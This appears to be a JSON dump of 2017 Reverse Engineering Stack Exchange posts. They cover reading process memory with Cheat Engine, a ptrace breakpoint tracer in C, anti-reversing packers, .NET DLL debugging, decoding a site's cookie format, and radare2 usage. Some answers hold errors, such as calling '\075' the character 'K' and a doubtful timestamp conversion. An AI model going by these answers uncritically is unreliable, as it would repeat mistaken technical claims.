        "Body": "<p>I am completely new to Windows programming so please excuse any naivety on my part when asking this question. I'll briefly describe my situation and then hopefully you'll be able to answer my question.</p>\n\n<p>I have a small executable file that was written in Delphi and packed with Aspack 2.12.</p>\n\n<p>When the file runs there is a variable called Total which gets incremented. When the file exits a .dat file gets updated with the new Total value.</p>\n\n<p>I can program something to 'read' the Total from the .dat file (just by using php or one of the languages I'm familiar with). However, I would like to read the Total value in \"real time\" when the executable is running (I don't need to 'write' to the Total value - just read it).</p>\n\n<p>I wondered if there was any way of writing an application that would \"reach in\" to a running executable and read a variable out of it?</p>\n\n<p>I remember back in the Spectrum days you could \"peek\" and \"poke\" memory. Is something like this feasible?</p>\n\n<p>I wondered if this is even possible and, if so, how could I go about doing this?</p>\n",
        "Title": "Is it possible to extract / read a variable out of a running .exe file?",
        "Tags": "|windows|executable|exe|",
        "Answer": "<p>Look into <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms680553(v=vs.85).aspx\" rel=\"nofollow noreferrer\">ReadProcessMemory</a> WinAPI, alternatively <a href=\"http://www.cheatengine.org/\" rel=\"nofollow noreferrer\">CheatEngine</a> is a tool that can do all kinds of memory related operations for you (search, modify, freeze, debug, etc.). </p>\n\n<p>You could also search on Github for some other memory \"hacking\" projects in a language that you are familiar with. </p>\n\n<p>Cheat engine can find the exact memory address in the memory of the value you are looking for. You might be able to use some pointers to get the location of your value on each run, so you do not have to use CheatEngine each time to find the address. I recommend you go trough the tutorial which comes with Cheat Engine, so you get a better understanding of pointers :)</p>\n"
    },
    {
        "Id": "15504",
        "CreationDate": "2017-06-07T20:09:08.117",
        "Body": "<p>** Edit ** After some great help from @tylernygaard I have discovered that the same variable is being written to two difference places in the memory. They are both 'static' addresses. Problem solved. Original question below....</p>\n\n<p>I posted a question earlier regarding \"reading\" a variable from an executable <a href=\"https://reverseengineering.stackexchange.com/questions/15500/is-it-possible-to-extract-read-a-variable-out-of-a-running-exe-file/15501\">here</a> (Please excuse my naivety in this area)</p>\n\n<p>I simply wanted to \"read\" a Total variable from an executable whilst it was running.</p>\n\n<p>I was recommended a program called Cheat Engine which I have downloaded, completed the tutorial and then used.</p>\n\n<p>On one PC, Cheat Engine showed the variable at address \"0096E0B4\".</p>\n\n<p>Out of curiosity I installed Cheat Engine on another PC and the variable was at address \"0096E0A4\"</p>\n\n<p>These addresses are so close that I'm assuming this isn't just dynamically chosen at runtime (is it?). So I wondered if anyone knew why they would be different?</p>\n\n<p>And whether it would still be possible to write some code to read the correct value?</p>\n",
        "Title": "Help reading a variable from an address in an executable?",
        "Tags": "|exe|",
        "Answer": "<p>You will know if they are static addresses if Cheat Engine shows them green on the search results screen. See pic related. <a href=\"https://i.stack.imgur.com/s9c69.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/s9c69.jpg\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "15505",
        "CreationDate": "2017-06-08T04:44:09.590",
        "Body": "<p>I have found myself confused while reversing some programs (specifically the IOLI Crackme challenges). I have no trouble solving them, but I have come across something that I do not understand and it irks me.</p>\n\n<p>I have a function call to, in this example, <strong>sub_80484B4</strong>. The caller is <strong>sub_8048542</strong>. It pushes to values on the stack, (<strong>arg_4</strong> and <strong>num</strong>). However, As you can see in the disassembly of <strong>sub_80484B4</strong>, it only shows one argument, <strong>arg_4</strong>.</p>\n\n<p>What happened to <strong>num</strong>? Is Ida just saying <strong>arg_4</strong> only because <strong>num's</strong> value is not referenced in the callee?</p>\n\n<p>I use Radare2 and it showed the same thing. Am I missing something or are the tools just simplifying?</p>\n\n<p><a href=\"https://i.stack.imgur.com/0USWi.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/0USWi.png\" alt=\"Caller pushes two values onto stack\"></a><a href=\"https://i.stack.imgur.com/zLRc7.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/zLRc7.png\" alt=\"Callee shows one argument\"></a></p>\n",
        "Title": "Two arguments pushed on stack, callee only shows one argument",
        "Tags": "|disassembly|radare2|stack|arguments|",
        "Answer": "<p>The function at sub_80484B4 does however return its value in eax, so the push could be to preserve the original value of eax. Which isn't used either from what can be seen in the disassembly.\nProbably wasn't compiled with optimisation in that case</p>\n"
    },
    {
        "Id": "15525",
        "CreationDate": "2017-06-10T16:42:12.507",
        "Body": "<p>I am trying to make things harder for someone to reverse my code.</p>\n\n<p>I think that implementing a shellcode following this <a href=\"http://mcdermottcybersecurity.com/articles/windows-x64-shellcode\" rel=\"nofollow noreferrer\">article</a> could work for my case.</p>\n\n<p>How can I access (or share) global variables in the shellcode I am loading?</p>\n\n<p>I assume you can pass variables as arguments.</p>\n\n<p>Thanks</p>\n",
        "Title": "Anti-Reverse Question on implementing a Shellcode",
        "Tags": "|anti-debugging|",
        "Answer": "<p>Writing a shellcode is often a task considerably more difficult than developing a piece of software. To me it seems your assumption about developing your program as a shellcode is incorrect and will create problems for you later on.</p>\n\n<p>This kind of thing is often addressed using Packers and Crypters. There are several relatively simple ones (like <a href=\"https://upx.github.io/\" rel=\"nofollow noreferrer\">UPX</a>), while some are considered quite effective (<a href=\"https://www.oreans.com/themida.php\" rel=\"nofollow noreferrer\">Themida</a> and <a href=\"http://www.aspack.com/\" rel=\"nofollow noreferrer\">ASPack</a>). There are many more available packers to choose from, some are free and some are commercial. </p>\n\n<p>If you are reluctant to use any of the available packers I believe researching that domain will prove more fruitful to your goal. Using a shellcode will more often require:</p>\n\n<ol>\n<li>Writing location independent code.</li>\n<li>creating your own DLL loading/locating and API resolving functionalities.</li>\n<li>writing or editing assembly directly.</li>\n</ol>\n\n<p>And will however provide only little advantage over code compiled normally. For example, anti-debugging techniques (as mentioned in your comments) are not limited to \"shellcode\" and can just as easily be injected/written into C/C++ code. Moreover, most packers include anti-debugging tricks by default (or provide such configuration).</p>\n"
    },
    {
        "Id": "15538",
        "CreationDate": "2017-06-13T04:14:26.503",
        "Body": "<p>I am reading through the '<em>Practical Malware Analysis</em>' book and got to page 74 which says:</p>\n\n<blockquote>\n  <p><code>lea ebx, [eax*4+4]</code> is the functional equivalent of <code>ebx = (eax+1)* 5</code>\n  where <code>eax</code> is a number.</p>\n</blockquote>\n\n<p>As of my understanding, <code>lea ebx, [eax*4 + 4]</code> should multiply <code>eax</code> value by 4, add 4 to it and then store it back in <code>ebx</code>, which is different than <code>(eax+1) * 5</code>.</p>\n\n<p>Is that a typo? Or I got things wrong?</p>\n\n<p>I think it should be: <code>ebx = (eax+1) * 4</code></p>\n",
        "Title": "LEA assembly instruction",
        "Tags": "|disassembly|assembly|x86|",
        "Answer": "<p>This is a typo. The instruction <code>lea ebx,[eax*4+4]</code> will set <code>ebx</code> to <code>4*eax+4</code> or <code>4*(eax+1)</code>. </p>\n\n<p>I believe I found a revision online of that book which has:</p>\n\n<blockquote>\n  <p>For example, it is common to see an instruction such as lea ebx, [eax*5+5], where eax is a number, rather than a memory address. This instruction is the functional equivalent of ebx = (eax+1)*5, ...</p>\n</blockquote>\n\n<p>so it seems as though it was corrected at some point. Note that, technically, <code>lea ebx, [eax*5+5]</code> is really implemented as <code>lea ebx, [eax*4+eax+5]</code>.</p>\n"
    },
    {
        "Id": "15546",
        "CreationDate": "2017-06-13T20:27:34.250",
        "Body": "<p>I'm using updated Kali and compiling this for 64- bit</p>\n\n<p>Working through Learning Linux Binary Analysis,'simple ptrace-based debugger' on page 57.</p>\n\n<p>Source code and testfile to debug included.</p>\n\n<p>Problem is accessing the return value of lookup_symbol from the shared object file 'test'.</p>\n\n<p>Regarding the given program:\nThe only thing I've changed is the error check that checks for ET_EXEC, I changed it to ET_DYN so that I can try to trace shared object files, which seem unavoidable when I import stdio.h for the print function. Also, changed the part that checks for ELF files, used use: </p>\n\n<blockquote>\n  <p>h.mem[0] != 0x7f || strcmp((char *)&amp;h.mem<a href=\"http://refspecs.linuxbase.org/elf/elf.pdf\" rel=\"nofollow noreferrer\">1</a>, \"ELF\"\n  But I don't think the second part is necessary, and my computer spits out an error unless I use \"ELF\\002\\001\\001\" in the strcmp. </p>\n</blockquote>\n\n<p>The work of the parent program is done in the lookup_symbol function which searches for the symbol name in the string table and returns the symbol table st_value (the virtual address) of the desired symbol.</p>\n\n<p>From <a href=\"http://refspecs.linuxbase.org/elf/elf.pdf\" rel=\"nofollow noreferrer\">TIS ELF Specification </a></p>\n\n<blockquote>\n  <p>In executable and shared object files, st_value holds a virtual\n  address. To make these files' symbols more useful for the dynamic\n  linker, the section offset (file interpretation) gives way to a\n  virtual address (memory interpretation) for which the section number\n  is irrelevant.</p>\n</blockquote>\n\n<p>To search for <strong>print_string</strong> in 'test':</p>\n\n<blockquote>\n  <p>./tracer ./test print_string</p>\n</blockquote>\n\n<p>The goal is to break at each print_string call and print the registers at that point, then any key can be pressed to continue execution.</p>\n\n<p>When running the source code the lookup_symbol function returns 0x6b0 on my comp for the value of symtab->st_value and assigns it to h.symaddr.</p>\n\n<p>0x6b0 is the virtual address (value of) of print_string in the symbol table, confirmed by checking readelf </p>\n\n<blockquote>\n  <p>58: 00000000000006b0    27 FUNC    GLOBAL DEFAULT   14 print_string</p>\n</blockquote>\n\n<p>The original from the book uses 0x6b0 directly in the following function:</p>\n\n<blockquote>\n  <p>if ((orig = ptrace(PTRACE_PEEKTEXT, pid, h.symaddr, NULL)) &lt; 0)</p>\n</blockquote>\n\n<p>This function fails with an error on my computer when it attempts to use h.symaddr=0x6b0:</p>\n\n<pre><code>Beginning analysis of pid: 2462 at 6b0\nPTRACE_PEEKER: Input/output error\nhello 1\nhello 2\n</code></pre>\n\n<p>The problem is not that it's a virtual address being returned, because as quoted above, both executables and shared object files contain virtual addresses in symbol_table->st_value. I'm not sure why but there is a difference in how this ptracing parent program treats shared objects and executables.</p>\n\n<p>This is the test file:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nvoid print_string(char * str)\n{\n    printf(\"%s\\n\", str); \n}\n\nint main(int argc, char ** argv)\n{\n    print_string(\"hello 1\");\n    print_string(\"hello 2\");\n    return 0;\n}\n</code></pre>\n\n<p>This is the source file:    </p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;fcntl.h&gt;\n#include &lt;errno.h&gt;\n#include &lt;signal.h&gt;\n#include &lt;elf.h&gt;\n#include &lt;sys/types.h&gt;\n#include &lt;sys/user.h&gt;\n#include &lt;sys/stat.h&gt;\n#include &lt;sys/ptrace.h&gt;\n#include &lt;sys/mman.h&gt;\n#include &lt;sys/wait.h&gt;\n\n\n\n\ntypedef struct handle\n{\n    Elf64_Ehdr *ehdr;\n    Elf64_Phdr *phdr;\n    Elf64_Shdr *shdr;\n    uint8_t *mem;\n    char *symname;\n    Elf64_Addr symaddr;\n    struct user_regs_struct pt_reg;\n    char *exec;\n} handle_t;\n\nElf64_Addr lookup_symbol(handle_t *, const char *);\n\n\n\nint main(int argc, char **argv, char **envp)\n{\n\n    int fd;\n    handle_t h;\n    struct stat st;\n    long trap, orig;\n    int status, pid;\n    char * args[2]; \n\n    if (argc &lt; 3)\n    {\n        printf(\"Usage: %s &lt;program&gt; &lt;function&gt;\\n\", argv[0]);\n        exit(0);\n    }\n\n\n    if ((h.exec = strdup(argv[1])) == NULL)\n    {\n        perror(\"strdup\"); exit(-1);\n    }\n\n    args[0] = h.exec;\n\n    args[1] = NULL;\n\n    if ((h.symname = strdup(argv[2])) == NULL)\n    {\n        perror(\"strdup\");\n        exit(-1);\n    }\n\n    if ((fd = open(argv[1], O_RDONLY)) &lt; 0)\n    {\n        perror(\"open\");\n        exit(-1);\n    }\n\n    if (fstat(fd, &amp;st) &lt; 0) \n    {\n        perror(\"fstat\");\n        exit(-1);\n    }\n\n    h.mem = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n\n    if (h.mem == MAP_FAILED)\n    {\n        perror(\"mmap\");\n        exit(-1);\n    }\n\n\n    h.ehdr = (Elf64_Ehdr *)h.mem;\n\n    h.phdr = (Elf64_Phdr *)(h.mem + h.ehdr-&gt;e_phoff);\n\n    h.shdr = (Elf64_Shdr *)(h.mem + h.ehdr-&gt;e_shoff);\n\n    if (h.mem[0] != 0x7f)\n    {\n        printf(\"%s is not an ELF file\\n\", h.exec);\n        exit(-1);\n    }\n\n    if (h.ehdr-&gt;e_type != ET_DYN)\n    {\n        printf(\"%s is not an ELF dynamic\\n\", h.exec);\n        exit(-1);\n    }\n\n    if (h.ehdr-&gt;e_shstrndx == 0 || h.ehdr-&gt;e_shoff == 0 || h.ehdr-&gt;e_shnum == 0)\n    {\n        printf(\"Section header table not found\\n\");\n        exit(-1);\n    }\n\n    if ((h.symaddr = lookup_symbol(&amp;h, h.symname)) == 0)\n    {\n        printf(\"Unable to find symbol: %s not found in executable\\n\", h.symname);\n        exit(-1);\n    }\n\n    close(fd);  \n\n    if ((pid = fork()) &lt; 0)\n    {\n        perror(\"fork\");\n        exit(-1);\n    }\n\n    if (pid == 0)\n    {\n\n        if (ptrace(PTRACE_TRACEME, pid, NULL, NULL) &lt; 0)\n        {\n            perror(\"PTRACE_TRACEME\");\n            exit(-1);\n        }\n\n        execve(h.exec, args, envp);\n        exit(0);\n    }\n\n    wait(&amp;status);\n    printf(\"Beginning analysis of pid: %d at %lx\\n\", pid, h.symaddr);\n\n\n    if ((orig = ptrace(PTRACE_PEEKTEXT, pid, h.symaddr, NULL)) &lt; 0)\n    {\n        perror(\"PTRACE_PEEKER\");\n        exit(-1);\n    }\n    trap = (orig &amp; ~0xff | 0xcc);\n\n\n    printf(\"Made it here\");\n\n\n    if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, trap) &lt; 0)\n    {\n        perror(\"PTRACE_POKETEXT\");\n        exit(-1);\n    }\ntrace:\n\n    if (ptrace(PTRACE_CONT, pid, NULL, NULL) &lt; 0)\n    {\n        perror(\"PTRACE_CONT\");\n        exit(-1);\n    }\n    wait(&amp;status);\n\n\n    if (WIFSTOPPED(status) &amp;&amp; WSTOPSIG(status) == SIGTRAP)\n    {\n        if (ptrace(PTRACE_GETREGS, pid, NULL, &amp;h.pt_reg) &lt; 0)\n        {\n            perror(\"PTRACE_GETREGS\");\n            exit(-1);\n        }\n\n        printf(\"\\nExecutable %s (pid: %d) has hit breakpoint 0x%lx\\n\", h.exec, pid, h.symaddr);\n\n    printf(\"%%rcx: %llx\\n%%rdx: %llx\\n%%rbx: %llx\\n\" \n                \"%%rax: %llx\\n%%rdi: %llx\\n%%rsi: %llx\\n\" \n                \"%%r8: %llx\\n%%r9: %llx\\n%%r10: %llx\\n%%\" \n                \"%%r11: %llx\\n%%r12: %llx\\n%%r13: %llx\\n%%\" \n                \"%%r14: %llx\\n%%r15: %llx\\n%%rsp: %llx\\n%%\");\n    printf(\"\\nHit any key to continue: \");\n    getchar();\n    if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, orig) &lt; 0)\n    {\n        perror(\"PTRACE_POKETEXT\");\n        exit(-1);\n    }\n\n    h.pt_reg.rip = h.pt_reg.rip - 1;\n    if (ptrace(PTRACE_SETREGS, pid, NULL, &amp;h.pt_reg) &lt; 0)\n    {\n        perror(\"PTRACE_SETREGS\");\n        exit(-1);\n    }\n\n    if (ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL) &lt; 0)\n    {\n        perror(\"PTRACE_SINGLESTEP\");\n        exit(-1);\n    }\n    wait(NULL);\n\n    if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, trap) &lt; 0)\n    {\n        perror(\"PTRACE_POKETEXT\");\n        exit(-1);\n    }\n\n    goto trace;\n    }\n\n    if (WIFEXITED(status)) \n        printf(\"Completed tracing pid: %d\\n\", pid);\n\n    exit(0);\n}\n\n\n\n\n    Elf64_Addr lookup_symbol(handle_t *h, const char *symname)\n    {\n        int i, j;\n        char *strtab;\n        Elf64_Sym *symtab;\n        for (i = 0; i &lt; h-&gt;ehdr-&gt;e_shnum; i++)      \n        {\n            if (h-&gt;shdr[i].sh_type == SHT_SYMTAB)   \n            {\n                strtab = (char *)&amp;h-&gt;mem[h-&gt;shdr[h-&gt;shdr[i].sh_link].sh_offset];\n\n                symtab = (Elf64_Sym *)&amp;h-&gt;mem[h-&gt;shdr[i].sh_offset];\n\n\n                for (j = 0; j &lt; h-&gt;shdr[i].sh_size/sizeof(Elf64_Sym); j++)\n                {\n                    if (strcmp(&amp;strtab[symtab-&gt;st_name], symname) == 0)\n                        //printf(\"symtab-&gt;st_value is 0x%lx\\n\", symtab-&gt;st_value);  \n                        return (symtab-&gt;st_value);\n                    symtab++;\n                }\n            }\n        }\n        return 0;\n    }\n</code></pre>\n",
        "Title": "ptrace TRACE_PEEKER: Input/output error accessing virtual address contents when traced file is a shared object file",
        "Tags": "|elf|",
        "Answer": "<p>You can build without dynamic linking like this:</p>\n<pre><code>gcc -static -o test test.c\n</code></pre>\n<p>Then it'll create DT_EXEC type executable not DT_DYN.</p>\n"
    },
    {
        "Id": "15551",
        "CreationDate": "2017-06-14T11:18:04.633",
        "Body": "<p>I have given a .ps1 file which loads a .dll via:</p>\n\n<pre><code>Import-Module \".\\decrypter.dll\"\n</code></pre>\n\n<p>After that, a call to that module is performed by:</p>\n\n<pre><code>get-decrypt(\" *Some Base64 Encoded string* \")\n</code></pre>\n\n<p>Only the .dll is given. The Dependency Walker returns no exported functions. IDA Pro Free shows only one module\nMy question:\nHow do I debug this .dll file?</p>\n\n<p>Kindly regards</p>\n",
        "Title": "Debug a .dll file within powershell",
        "Tags": "|debugging|dll|",
        "Answer": "<p>As mentioned by the answer before me decrypter.dll is a .NET dll, If you want you can debug it by writing a simple .NET program that references it and calls the same function/method you need, get-decrypt in your case, a nice tool to use for debugging of such a .NET program that can step into its dependency dlls is dnSpy which can be found and downloaded <a href=\"https://github.com/dnSpy/dnSpy/releases\" rel=\"nofollow noreferrer\">here</a>.</p>\n"
    },
    {
        "Id": "15552",
        "CreationDate": "2017-06-14T15:35:39.987",
        "Body": "<p>The title seems little crazy, but I think that it is possible. Just think about it. If you create text file like this:</p>\n\n<pre><code>Hello world!\n</code></pre>\n\n<p>You get this checksum:</p>\n\n<pre><code>0ba904eae8773b70c75333db4de2f3ac45a8ad4ddba1b242f0b3cfc199391dd8\n</code></pre>\n\n<p>But if you change any letter like this:</p>\n\n<pre><code>Hallo world!\n</code></pre>\n\n<p>You get this:</p>\n\n<pre><code>bf1adae4567d9fb6b3bfb30cbf4dfdd2503e89a831cf3472c399b39fb9c73289\n</code></pre>\n\n<p>That means, that if I change any letter I always get another checksum, so there must be any way to get source file back.</p>\n\n<p>My question is: Is there any way to get source file back without creating all possible combinations and checking checksum?</p>\n",
        "Title": "How to get file back from generated sha256 checksum?",
        "Tags": "|encryption|hash-functions|",
        "Answer": "<p>No there isn't.  The act of hashing and checksumming both lose information in the process.  Thus, there can be multiple files that produce the same hash <em>and the same checksum</em>.  The only way to know that you have recovered the original file is to compare it with the original file.</p>\n"
    },
    {
        "Id": "15572",
        "CreationDate": "2017-06-17T07:26:46.740",
        "Body": "<p>I have a 64 bit application that when runs will load a dll (plugin) I want to debug only this plugin, I have tried setting x64dbg to break on dll load, but two issues, this app loads hundreds of other dlls, and when I do get to my dll and try and step through I seem to get stuck in ntdll.dll rather than the one of my interest.</p>\n\n<p>Is there are a better way of doing this? or any other debugger that is better suited for this job? I do have IDA pro aswell but I am more familiar with the olly/x64 program.</p>\n",
        "Title": "x64dbg how to debug a DLL called from an application",
        "Tags": "|debugging|",
        "Answer": "<p>I'm going to add my findings as an answer as it turns out its actually very simple in the new debuggers (I don't believe ollyDBG has this function).</p>\n\n<p>X32DBG and X64DBG can be used with the same process</p>\n\n<p>1) Open the executable file (exe) in the debugger (depending on whether exe is 32bit or 64 bit choose the right debugger)</p>\n\n<p>2) select the \"breakpoints\" tab</p>\n\n<p>3) find the section titled \"dll breakpoints\"</p>\n\n<p>4) Right click in this section and choose \"add\" type in the name of the dll file. Eg \"module.dll\"</p>\n\n<p>5) Now run your process, the debugger will break when this dll is loaded</p>\n"
    },
    {
        "Id": "15573",
        "CreationDate": "2017-06-17T13:06:34.780",
        "Body": "<p>I am new to the world of reverse engineering and have been recommended by a number of people that I should start with IA32 because it is easier to learn the concepts. Aside from differences in the number of registers, what are the key differences between a 32bit system compared to a 64bit system. </p>\n",
        "Title": "Why is using a 32bit system over 64bit recommended for people that are new to reverse engineering?",
        "Tags": "|x86|x86-64|",
        "Answer": "<p>Short answer : Because it's an easier place to start .X64 allows for an extended instruction set , more access to memory and more allocation space in pretty much everything. </p>\n\n<p>Long Answer:\nI wouldn't necessarily say that to start using a x86 system is a good way to start . I would say though , that starting with an x86 binary is a good area to start with.</p>\n\n<p>Historically, going from 8 to 16 to 32 has added more and more instructions with each new addition of an architecture.</p>\n\n<p>I recommend learning x86 as a start:</p>\n\n<ul>\n<li><p>Because it's simple and is still used. There are many things written in x86, a lot of the exploits of APIs or were written upon the shoulders of giants of that time... </p></li>\n<li><p>You can continue to use x86 in your x64 machine as x64 is just an extension of x68.</p></li>\n<li><p>It's easier to read and you will deal with simpler  value sizes.The way things are accessed .The amount of space that can be accessed is largely increased. With the two architectures, there are different ways of doing calls. </p></li>\n</ul>\n\n<p>You'll need to learn x64 anyway as it's the next step in evolution. You'll appreciate it when you run into things with x86. Some things might include the amount of registers that you can use. Another might be instructions that allow you to access certain registers differently or in a more readable way.</p>\n\n<p>Looks like this might have been answered previously here:\n<a href=\"https://stackoverflow.com/questions/7635013/difference-between-x86-x32-and-x64-architectures\">https://stackoverflow.com/questions/7635013/difference-between-x86-x32-and-x64-architectures</a>\n<a href=\"https://superuser.com/questions/56540/32-bit-vs-64-bit-systems\">https://superuser.com/questions/56540/32-bit-vs-64-bit-systems</a></p>\n\n<p>Some other links to read:\n<a href=\"http://www.techsupportalert.com/content/32-bit-and-64-bit-explained.htm\" rel=\"nofollow noreferrer\">http://www.techsupportalert.com/content/32-bit-and-64-bit-explained.htm</a>\n<a href=\"https://en.wikipedia.org/wiki/X86-64\" rel=\"nofollow noreferrer\">https://en.wikipedia.org/wiki/X86-64</a></p>\n"
    },
    {
        "Id": "15577",
        "CreationDate": "2017-06-18T00:08:19.093",
        "Body": "<p>I am using a website whose cookies are as following (when I'm as a guest at 3 different instances in increasing order of time) :</p>\n\n<ol>\n<li><code>eyJ0YWxrX3N0YXRlIjowfQ\\075\\075|1497742098|514507d23a215fcea83c80608ba67ce4a4946a6e</code></li>\n<li><code>eyJ0YWxrX3N0YXRlIjowfQ\\075\\075|1497742995|a2d97bc48c9411e7afd09fd554646e1f63c30c54</code>   </li>\n<li><code>eyJ0YWxrX3N0YXRlIjowfQ\\075\\075|1497743233|b01171747934f116c7a3af5c1a3bde989f69e03d</code></li>\n</ol>\n\n<p>When I logged in from 2 different account it changed to following:</p>\n\n<pre><code>First account -\"eyJ1c2VyX2lkIjoiMTE1Mjg2ODM5OTMyMzI1ODA5OTg4IiwidXNlcl9uYW1lIjoiU2FtIiwidGFsa19zdGF0ZSI6MH0\\075|1497741945|7a7904970733851fc11eaa5ee456c4ee939f510f\"\n\nSecond account - \"eyJ1c2VyX2lkIjoiMTA3NjYzODAwMzg1MDkxODU5MzAwIiwidXNlcl9uYW1lIjoiQ3JhenlSdWciLCJ0YWxrX3N0YXRlIjowfQ\\075\\075|1497742305|2666b0847f1042c1d40769a19ae11741b82551bb\"\n</code></pre>\n\n<p>I can't make out anything out of it except the fact that <code>|1497742305|</code> seem to be sort of timestamp. I have tried md5, base64 but neither of the string has any of them.</p>\n\n<p>What encryption is used ? How can I extract information from it ?\nCan someone help me out , I am new to all this.</p>\n",
        "Title": "Understanding hashing in cookies",
        "Tags": "|websites|hash-functions|",
        "Answer": "<p>The two vertical bars hints towards 3 separate parts of the cookie. It seems that the <strong>first part</strong> is a base64 encoded json object. For the first part of the cookie no. 1 that would be:</p>\n\n<p><code>eyJ0YWxrX3N0YXRlIjowfQ\\075\\075</code></p>\n\n<p>which decoded is:</p>\n\n<p><code>{\"talk_state\":0}</code></p>\n\n<p><em>nb: each \"\\075\" is the unicode value for ascii character \"K\".</em></p>\n\n<p>Post login, the first part becomes:</p>\n\n<p><code>{\"user_id\":\"115286839932325809988\",\"user_name\":\"Sam\",\"talk_state\":0}</code> </p>\n\n<p>for the base64 string</p>\n\n<p><code>eyJ1c2VyX2lkIjoiMTA3NjYzODAwMzg1MDkxODU5MzAwIiwidXNlcl9uYW1lIjoiQ3JhenlSdWciLCJ0YWxrX3N0YXRlIjowfQ\\075\\075</code></p>\n\n<p>The <strong>second part</strong> as you suspected, is a timestamp in epoch date format, where <em>1497742098</em> is <em>Mon, 19 Jun 2017 06:16:57 GMT</em></p>\n\n<p>The last part, I am not too sure. This could be SHA1 value of some data used as an integrity check server side. You may need to play around with creating different SHA1 values using different combination of data known so far to get a matching value. </p>\n"
    },
    {
        "Id": "15586",
        "CreationDate": "2017-06-19T07:38:44.447",
        "Body": "<p>After analysing a function and pressing <code>VV</code> to go into graph mode, is it somehow possible to export/render the whole graph to an image?</p>\n\n<p>I have some huge main functions and it would be nice to have it all in an image.</p>\n",
        "Title": "radare2 ascii graph to image?",
        "Tags": "|disassembly|radare2|struct|control-flow-graph|visualization|",
        "Answer": "<p>The <code>ag</code> command and subcommands can help you to output the visual graph into <a href=\"http://www.graphviz.org/\" rel=\"nofollow noreferrer\">Graphviz</a> format.</p>\n\n<pre><code>[0x00000000]&gt; ag?\nUsage: ag&lt;graphtype&gt;&lt;format&gt; [addr]  \nGraph commands:\n| aga[format]             Data references graph\n....\n| agf[format]             Basic blocks function graph\n....\n\nOutput formats:\n| &lt;blank&gt;                 Ascii art\n| *                       r2 commands\n| d                       Graphviz dot\n| g                       Graph Modelling Language (gml)\n| j                       json ('J' for formatted disassembly)\n| k                       SDB key-value\n| t                       Tiny ascii art\n| v                       Interactive ascii art\n| w [path]                Write to path or display graph image (see graph.gv.format and graph.web)\n</code></pre>\n\n<p>For example, you can output the visual graph as a dot file and then convert it to PNG.\nHere's an example to create an image from the main function of /bin/ls:</p>\n\n<pre><code>$ r2 /bin/ls\n[0x004049a0]&gt; aa\n[x] Analyze all flags starting with sym. and entry0 (aa)\n[0x004049a0]&gt; agfd main &gt; graph.dot\n[0x004049a0]&gt; !!dot -Tpng -o graph.png graph.dot\n</code></pre>\n\n<p>The <code>dot</code> utility is part of the Graphviz software which can be installed using <code>sudo apt-get install graphviz</code>.</p>\n\n<p>You can also output the graph into ascii-graph using the <code>agf</code> command.</p>\n\n<pre><code>[0x004049a0]&gt; s main\n[0x00402a00]&gt; agf &gt; ascii_graph.txt\n</code></pre>\n\n<p>Moreover, if you are just searching for a comfort way to view the graph you can simply open the dot file inside Graphviz or use an <a href=\"http://www.webgraphviz.com/\" rel=\"nofollow noreferrer\">online Graphviz viewer</a> instead of converting it to an image file.</p>\n"
    },
    {
        "Id": "15603",
        "CreationDate": "2017-06-19T22:31:04.923",
        "Body": "<p>I have a .net exe called foo.exe I open foo in a hex editor (HxD) and search for myString. I do not see it.</p>\n\n<p>I open foo.exe in ILSpy and was able to find myString.</p>\n\n<p>I do see human readable text in the hex editor but I think the .net strings are encoded some other way.</p>\n\n<p>Some background is we have a client site that switched servers on some 10+ year old code and the server configuration was hard coded. The old server was left online during testing and the issue was not found until 12 hours into production.</p>\n",
        "Title": "Modifying a string in a .net binary",
        "Tags": "|binary|.net|binary-editing|",
        "Answer": "<p>C# encodes its string literals as UTF-16.\n(<a href=\"http://csharpindepth.com/Articles/General/Strings.aspx\" rel=\"nofollow noreferrer\">http://csharpindepth.com/Articles/General/Strings.aspx</a>)</p>\n\n<p>To search the hex in HxD you need to check the Unicode string checkbox in HxD and after that you are able to search your string. </p>\n\n<p>If you are able to then change your string to the correct character without breaking UTF-16 and file size then your new string will be updated.</p>\n\n<p>well i wrote a similar answer but discarded it and just adding a screen shot that explains your answer better     </p>\n\n<p><a href=\"https://i.stack.imgur.com/YojJ1.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/YojJ1.png\" alt=\"enter image description here\"></a> </p>\n"
    },
    {
        "Id": "15609",
        "CreationDate": "2017-06-20T08:39:35.667",
        "Body": "<p>I am using radare2 in debugging mode (r2 -d ./program).\nI set up a breakpoint at a certain address (<code>db 0x12341234</code>)\nAnd next I have entered Visual View using: <code>V!</code></p>\n<p>Following some tutorials, I saw them using '<code>s</code>' to switch to the next instruction, but that isn't working for me.\nAlso this is not working:</p>\n<blockquote>\n<p>Maybe a simpler method to use debugger in radare is to switch it to visual mode. That way you will not have to remember many commands nor to keep program state in your mind. To enter visual mode use <code>V</code>:</p>\n<pre><code>[0xB7F0C8C0]&gt; V\n</code></pre>\n<p>The initial view after entering visual mode is a hexdump view of current target program counter (e.g., EIP for x86). Pressing <code>p</code> will allow you to cycle through the rest of visual mode views. You can press <code>p</code> and <code>P</code> to rotate through the most commonly used print modes. Use <kbd>F7</kbd> or s to step into and <kbd>F8</kbd> or <code>S</code> to step over current instruction. With the <code>c</code> key you can toggle the cursor mode to mark a byte range selection (for example, to later overwrite them with <code>nop</code>). You can set breakpoints with <kbd>F2</kbd> key.</p>\n</blockquote>\n<p>Any key I would press does nothing. Am I missing something or?</p>\n<p><a href=\"https://i.stack.imgur.com/7XXna.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/7XXna.png\" alt=\"\" /></a></p>\n<p>I am talking about this view.</p>\n",
        "Title": "Visual View in radare2 while debugging",
        "Tags": "|disassembly|radare2|",
